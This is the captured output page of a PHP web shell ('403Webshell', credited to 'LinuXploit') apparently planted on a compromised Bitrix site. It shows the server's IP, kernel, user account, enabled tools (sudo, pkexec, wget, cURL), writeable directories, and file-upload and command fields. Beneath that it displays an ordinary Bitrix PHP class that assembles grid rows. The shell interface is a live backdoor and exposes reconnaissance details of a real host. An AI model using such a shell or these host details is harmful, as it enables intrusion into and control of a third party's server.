403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/grid/row/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/grid/row/rowassembler.php
<?php

namespace Bitrix\Main\Grid\Row;

use Generator;

/**
 * Assembles row values.
 *
 * The main task of this class is to form a list of `FieldAssembler'.
 *
 * Usage example:
 * ```php
	final class ProductRowAssembler extends RowAssembler
	{
		protected function prepareFieldAssemblers(): array
		{
			return [
				new UserFieldAssembler([
					'CREATED_BY',
					'MODIFIED_BY',
				]),
				new StoreWithInfoFieldAssembler([
					'STORE_ID',
				]),
			];
		}
	}
 * ```
 *
 * @see \Bitrix\Main\Grid\Row\FieldAssembler
 * @see \Bitrix\Main\Grid\Row\Assembler\EmptyRowAssembler
 */
abstract class RowAssembler
{
	/**
	 * @var FieldAssembler[]
	 */
	private array $fieldAssemblers;
	/**
	 * @var string[]
	 */
	private array $visibleColumnIds;

	/**
	 * @param string[] $visibleColumnIds
	 */
	public function __construct(array $visibleColumnIds)
	{
		$this->visibleColumnIds = $visibleColumnIds;
	}

	/**
	 * @return FieldAssembler[]
	 */
	abstract protected function prepareFieldAssemblers(): array;

	/**
	 * @return string[]
	 */
	final protected function getVisibleColumnIds(): array
	{
		return $this->visibleColumnIds;
	}

	/**
	 * @return FieldAssembler[]
	 */
	private function getAssemblers(): array
	{
		if (!isset($this->fieldAssemblers))
		{
			$this->fieldAssemblers = [];

			foreach ($this->prepareFieldAssemblers() as $assembler)
			{
				$this->fieldAssemblers[] = $assembler;
			}
		}

		return $this->fieldAssemblers;
	}

	/**
	 * @return FieldAssembler[]
	 */
	private function getFilteredAssemblers(): Generator
	{
		foreach ($this->getAssemblers() as $fieldAssembler)
		{
			$assemblerColumnsIds = $fieldAssembler->getColumnIds();
			$columnsIds = array_intersect($assemblerColumnsIds, $this->getVisibleColumnIds());

			if (!empty($columnsIds))
			{
				if (count($assemblerColumnsIds) !== count($columnsIds))
				{
					yield $fieldAssembler->clone($columnsIds);
				}
				else
				{
					yield $fieldAssembler;
				}
			}
		}
	}

	/**
	 * Gets rows prepared for output.
	 *
	 * @param array[] $rowsList
	 *
	 * @return array[]
	 */
	public function prepareRows(array $rowsList): array
	{
		foreach ($this->getFilteredAssemblers() as $fieldAssembler)
		{
			$rowsList = $fieldAssembler->prepareRows($rowsList);
		}

		return $rowsList;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit